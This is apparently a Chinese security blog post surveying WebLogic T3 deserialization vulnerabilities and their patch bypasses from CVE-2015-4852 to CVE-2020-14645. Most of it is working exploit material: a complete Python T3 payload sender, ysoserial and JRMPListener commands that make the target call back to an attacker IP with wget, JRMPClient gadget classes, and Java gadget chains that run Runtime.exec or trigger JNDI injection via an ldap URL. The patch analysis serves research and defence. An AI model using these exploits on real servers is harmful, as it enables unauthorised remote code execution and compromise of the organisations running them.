Weblogic t3 反序列化
Weblogic系列文章,总结了近年来t3反序列化相关漏洞与绕过。
Weblogic t3 反序列化
JRMP是Java默认RMI的通信协议,而Weblogic实现的RMI的通信协议主要为t3(还有基于CORBA的IIOP协议)。t3协议的特点可以看这里。
根据上文的分析,T3协议由协议头包裹(前四个字节为数据包大小),且数据包中包含多个序列化的对象(每个序列化数据包前面都有相同的二进制串(0xfe010000)),通信的时候会读取序列化对象进行反序列化。
那么我们就可以替换其中的两个0xfe010000字节流中间的序列化数据为可控的恶意序列化数据。
简单的payload如下,先生成gadget链数据,然后用这个拼接到t3数据流中再重新计算数据流长度替换前四个字节发送。
t3.py
# -*- coding: utf-8 -*-
import socket
import struct
import sys
def exp(filename, host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
headers = 't3 12.2.1\nAS:255\nHL:19\n\n'.format(port)
sock.sendall(headers)
data = sock.recv(2)
print(data)
f = open(filename, 'rb')
payload_obj = f.read()
f.close()
payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000".decode('hex')
payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078".decode('hex')
payload2 = payload_obj
payload = payload1 + payload2 + payload3
payload = struct.pack('>I', len(payload)) + payload[4:]
sock.send(payload)
data = sock.recv(4096)
print(data)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()
if(len(sys.argv)<4):
print("usage: python t3.py ser.data ip port")
else:
filename = sys.argv[1]
ip = sys.argv[2]
port = sys.argv[3]
exp(filename, ip, port)
CVE-2015-4852
漏洞版本
10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0
漏洞利用
这是t3反序列化第一个漏洞点,没有任何限制,所以可以用上面的t3.py来打。
那时的cc1链还可用,生成序列化数据。
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "wget 192.168.223.130:9999" > /tmp/1.dat
python2 t3.py /tmp/1.dat 127.0.0.1 7001
CVE-2015-4852补丁
这里贴一张大佬文章中的Java反序列化时序图

从ObjectInputStream的readObject进入开始反序列化,读取到object字节流时进入readOrdinaryObject

在readOrdinaryObject方法中,先进行readClassDesc解析对象的类,代理类和普通类分开解析。
解析完了后再进入readSerialData或readExternalData反序列化对象。

CVE-2015-4852的补丁就是作用在readClassDesc解析对象类的时候加入的黑名单,不允许某些类反序列化。
t3反序列化时用的是继承自ObjectInputStream的InboundMsgAbbrev.ServerChannelInputStream类。

所以补丁是改写了InboundMsgAbbrev.ServerChannelInputStream等类的resolveClass
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
黑名单为
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
CVE-2016-0638 && CVE-2016-3510
这两个是延续了对4852的绕过。
CVE-2016-0638
10.3.6, 12.1.2, 12.1.3, and 12.2.1
这个漏洞是利用weblogic.jms.common.StreamMessageImpl类绕过上面了补丁的黑名单。
该类的readExternal方法对输入流进行了二次反序列化。

补丁
替换为FilteringObjectInputStream类,也是在下面的readObject后resolveClass处黑名单限制(这个我是在weblogic14上看到的补丁,并不知道是什么时候打上去的,也没有查到相关内容)。

CVE-2016-3510
10.3.6.0, 12.1.3.0, and 12.2.1.0
与0638类似,是利用weblogic.corba.utils.MarshalledObject类在反序列化执行readResolve时对objBytes属性字节流进行反序列化的操作绕过黑名单。

复现
这两个的复现我们都使用weblogic_cmd来复现,也可以用它生成序列化数据用上面的t3.py发送。它用的就是cc1链,默认是使用weblogic.jms.common.StreamMessageImpl绕过的。
CVE-2017-3248 && CVE-2018-2628 && CVE-2018-2893 && CVE-2018-3245
这三个cve是利用JRMP反序列化对上面黑名单的绕过
CVE-2017-3248
漏洞版本
10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1
前面目前来说还是黑名单限制的t3反序列化。这里使用ysoserial的JRMPClient反序列化gadget链,这个gadget链可以让目标服务器作为JRMP客户端去连接JRMP服务器端,我们知道JRMP之间的通信也是通过序列化进行的,所以我们监听一个JRMP服务器并返回恶意序列化数据就能在目标服务器进行二次反序列化,这样第二次反序列化就不会受到上述黑名单的限制了。
监听JRMP服务器,返回恶意cc1链
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 "wget 192.168.223.130:9999"
利用ysoserial生成的JRMPClient序列化数据
python2 44553.py 127.0.0.1 7001 /home/kali/share/VmShare/tools/ctf/web/java/ysoserial/ysoserial-master-30099844c6-1.jar 192.168.223.130 8080 JRMPClient
补丁
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
可以看到只限制了反序列化代理类执行resolveProxyClass时限制了java.rmi.registry.Registry类。
CVE-2018-2628
漏洞版本
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
看到了3248的补丁,可以发现只在resolveProxyClass限制了java.rmi.registry.Registry类,那么就出现了以下三种方式绕过。
方法一
看ysoserial的JRMPClient的payload,生成UnicastRef对象后封装进RemoteObjectInvocationHandler动态代理中。

反序列化时是调用RemoteObjectInvocationHandler类的父类RemoteObject的readObject,然后在下面将执行UnicastRef的readExternal,后面再是后续的链。

但其实直接生成生成UnicastRef对象,UnicastRef对象在反序列化时也会调用readExternal,那就不需要套一层动态代理了。因为补丁仅作用于resolveProxyClass,所以可以绕过。
如下
package ysoserial.payloads.mytest;
import java.io.FileOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<UnicastRef> {
public UnicastRef getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}
public static void main ( final String[] args ) throws Exception {
Object o = new JRMPClient1().getObject("192.168.223.130:9998");
FileOutputStream out = new FileOutputStream("test.data");
Serializer.serialize(o, out);
}
}
方法二
过滤了java.rmi.registry.Registry类,可以替换这个接口类为java.rmi.activation.Activator
package ysoserial.payloads.mytest.weblogic;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Activator> {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(),
new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Object o = new JRMPClient2().getObject("192.168.223.130:9998");
FileOutputStream out = new FileOutputStream("test.data");
Serializer.serialize(o, out);
}
}
不过我试了下直接用Registry和Activator的父类Remote也行。
补丁
来自这里, 将sun.rmi.server.UnicastRef加入了黑名单
private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };
CVE-2018-2893
漏洞版本
10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
方法一
虽然2628打了补丁,但是其中的方法二并没有被限制住。
因为方法二走的是RemoteObjectInvocationHandler动态代理的反序列化,执行的是其父类RemoteObject的readObject。
看下图可知,ref为UnicastRef对象,执行的readExternal是不会被上述黑名单的resolveClass限制的。

方法二
上面利用streamMessageImpl进行的二次反序列化这里还能用,不过它的补丁似乎在这里还没有补。
补丁
补丁还是看的这里
private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
黑名单进行了更新
java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
CVE-2018-3245
漏洞版本
10.3.6.0, 12.1.3.0, 12.2.1.3
上面的补丁增加了黑名单的限制,但其实只要继续找继承自RemoteObject的类且未重写readObject且不存在于黑名单中就行。
师傅找到一个这个类RMIConnectionImpl_Stub, 直接写payload
package ysoserial.payloads.mytest.weblogic;
import java.io.FileOutputStream;
import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.Serializer;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<RMIConnectionImpl_Stub> {
public RMIConnectionImpl_Stub getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref);
return obj;
}
public static void main ( final String[] args ) throws Exception {
Object o = new JRMPClient3().getObject("192.168.223.130:9998");
FileOutputStream out = new FileOutputStream("test.data");
Serializer.serialize(o, out);
}
}
总结
这个部分就主要是各种绕过,weblogic这种黑名单打补丁的方式肯定是不安全的,出了新链就还是没用了。
不过越到后面越难以利用。到这里貌似commonCollection已经升级,cc链打不通了,只能打Jdk7u21这条链,限制于java版本比较鸡肋。
CVE-2019-2890
这也是个新链,如下weblogic.wsee.jaxws.persistence.PersistentContext类的readObject中会在随后解密bytes属性。然后将其字节流进行二次反序列化。

但是在加解密时都需要服务器上的SerializedSystemIni.dat
文件作为密钥,这就显得很鸡肋,能读这个密钥文件再读密码文件通常能直接拿到后台了。
其他详细信息可以看这里
CVE-2020-2555 && CVE-2020-2883 && CVE-2020-14645
这部分是coherence.jar中的新链,几个CVE又是补丁与绕过的艺术。
漏洞组件(其中cve-2020-14645只有第四个)
10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0
CVE-2020-2555
这条链是cc5链相同的gadget链触发点,从BadAttributeValueExpException的readObject执行到toString
看下面我们可以知道LimitFilter的toString执行了extract,我们可知extractor属性为ValueExtractor类对象。

其中继承自ValueExtractor的ReflectionExtractor类和ChainedExtractor类有用。
ReflectionExtractor的extract方法
public Object extract(Object oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
ChainedExtractor的extract方法
public Object extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
在这里我们就可以发现和cc链的Transformer类似,链式执行命令。
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class cve2555 {
public static void main(String[] args) throws Exception {
ChainedExtractor ce = new ChainedExtractor(
new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
new ReflectionExtractor("exec", new Object[]{"calc"})
}
);
LimitFilter lf = new LimitFilter();
lf.setComparator(ce);
lf.setTopAnchor(Runtime.class);
BadAttributeValueExpException b = new BadAttributeValueExpException(1);
Field f1 = b.getClass().getDeclaredField("val");
f1.setAccessible(true);
f1.set(b, lf);
deserialize(serialize(b));
}
public static byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
补丁
补丁打在了LimitFilter类的toString方法,可以看到将所有执行extractor.extract()
的地方都删除了,这样就在这一环破坏了gadget链。

其他
y4er师傅文章中介绍了两个点
coherence.jar
要使用和目标版本一致的,不然会有serialVersionUID
不一致的问题。BadAttributeValueExpException
对jdk的版本有要求。具体看这里
CVE-2020-2883
看了2555的补丁,仅仅是在执行extract部分破坏了gadget链,而后面的反射执行的部分是没有变化的。
链一
首先我们可以看com.tangosol.util.comparator.ExtractorComparator类,它的compare函数中可以接上2555的gadget链。

看到compare函数,我们可以联想到cc2链从PriorityQueue执行到compare,那么将这两个链合在一起就是一条新链。
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cve2883_1 {
public static void main(String[] args) throws Exception {
ChainedExtractor ce = new ChainedExtractor(
new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
new ReflectionExtractor("exec", new Object[]{"calc"})
}
);
ExtractorComparator ec = new ExtractorComparator(ce);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ec);
Field f1 = queue.getClass().getDeclaredField("queue");
f1.setAccessible(true);
Object[] queueArray = (Object[]) f1.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = Runtime.class;
Field f2 = queue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(queue, 2);
deserialize(serialize(queue));
}
public static byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
链二
先看com.tangosol.util.extractor.AbstractExtractor类的compare方法,它执行了自己的extract方法

而com.tangosol.util.extractor.MultiExtractor类继承自AbstractExtractor类,它的extract方法为如下,aExtractor来自this.getExtractors()
返回的是this.m_aExtractor
, 这样的话在此后面我们就可以继续利用2555的链。

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.MultiExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cve2883_2 {
public static void main(String[] args) throws Exception {
ChainedExtractor ce = new ChainedExtractor(
new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}),
new ReflectionExtractor("exec", new Object[]{"calc"})
}
);
MultiExtractor ec = new MultiExtractor(new ValueExtractor[]{ce});
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ec);
Field f1 = queue.getClass().getDeclaredField("queue");
f1.setAccessible(true);
Object[] queueArray = (Object[]) f1.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = Runtime.class;
Field f2 = queue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(queue, 2);
deserialize(serialize(queue));
}
public static byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
CVE-2020-14645
2883的补丁将存在恶意操作的几个类MvelExtractor 和 ReflectionExtractor都过滤了,这里考虑继续找一个继承自ValueExtractor的恶意类。
师傅们找到的类是UniversalExtractor类,它仅存在于12.2.1.4.0所以前面几个版本是打不通的。
借用PriorityQueue前面的链,继续走extract方法。
可以看到UniversalExtractor类的extract方法只能进入extractComplex, 在extractComplex中最后面存在方法的反射调用。
那么现在的目标就是控制调用的方法。

执行的对象类型可控,方法名由下面代码的限制必须为get或者is开头的方法,且为无参方法。

无参getter方法我们可以想到fastjson漏洞使用的JdbcRowSetImpl链,在执行getDatabaseMetaData方法时会在后续触发JNDI注入。
poc
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.extractor.UniversalExtractor;
import sun.reflect.ReflectionFactory;
import javax.sql.rowset.BaseRowSet;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cve14645 {
public static void main(String[] args) throws Exception {
UniversalExtractor ue = getNewInstances(UniversalExtractor.class);
Field ff = UniversalExtractor.class.getDeclaredField("m_sName");
ff.setAccessible(true);
ff.set(ue, "DatabaseMetaData");
Field fff = UniversalExtractor.class.getDeclaredField("m_aoParam");
fff.setAccessible(true);
fff.set(ue, new String[]{});
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ue);
Field f1 = queue.getClass().getDeclaredField("queue");
f1.setAccessible(true);
Object[] queueArray = (Object[]) f1.get(queue);
JdbcRowSetImpl jdbc = getNewInstances(JdbcRowSetImpl.class);
Field f = BaseRowSet.class.getDeclaredField("dataSource");
f.setAccessible(true);
f.set(jdbc, "ldap://127.0.0.1:9999/xxxx");
queueArray[0] = jdbc;
queueArray[1] = jdbc;
Field f2 = queue.getClass().getDeclaredField("size");
f2.setAccessible(true);
f2.set(queue, 2);
deserialize(serialize(queue));
}
public static byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
static <T> T getNewInstances(Class <T> clazz) throws Exception{
Constructor cc3 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,
Object.class.getDeclaredConstructor());
cc3.setAccessible(true);
return (T) cc3.newInstance();
}
}
ref
https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
https://y4er.com/post/weblogic-cve-2015-4852/
http://xxlegend.com/2018/06/20/%E5%85%88%E7%9F%A5%E8%AE%AE%E9%A2%98%20Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E6%88%98%20%E8%A7%A3%E8%AF%BB/
https://xz.aliyun.com/t/2479
https://xz.aliyun.com/t/8443
https://www.cnblogs.com/afanti/p/10240217.html
https://y4er.com/post/weblogic-cve-2016-0638/
https://github.com/5up3rc/weblogic_cmd
https://y4er.com/post/weblogic-jrmp/
http://blog.topsec.com.cn/%E5%A4%A9%E8%9E%8D%E4%BF%A1%E5%85%B3%E4%BA%8Ecve-2018-2893-weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://paper.seebug.org/1287/
https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ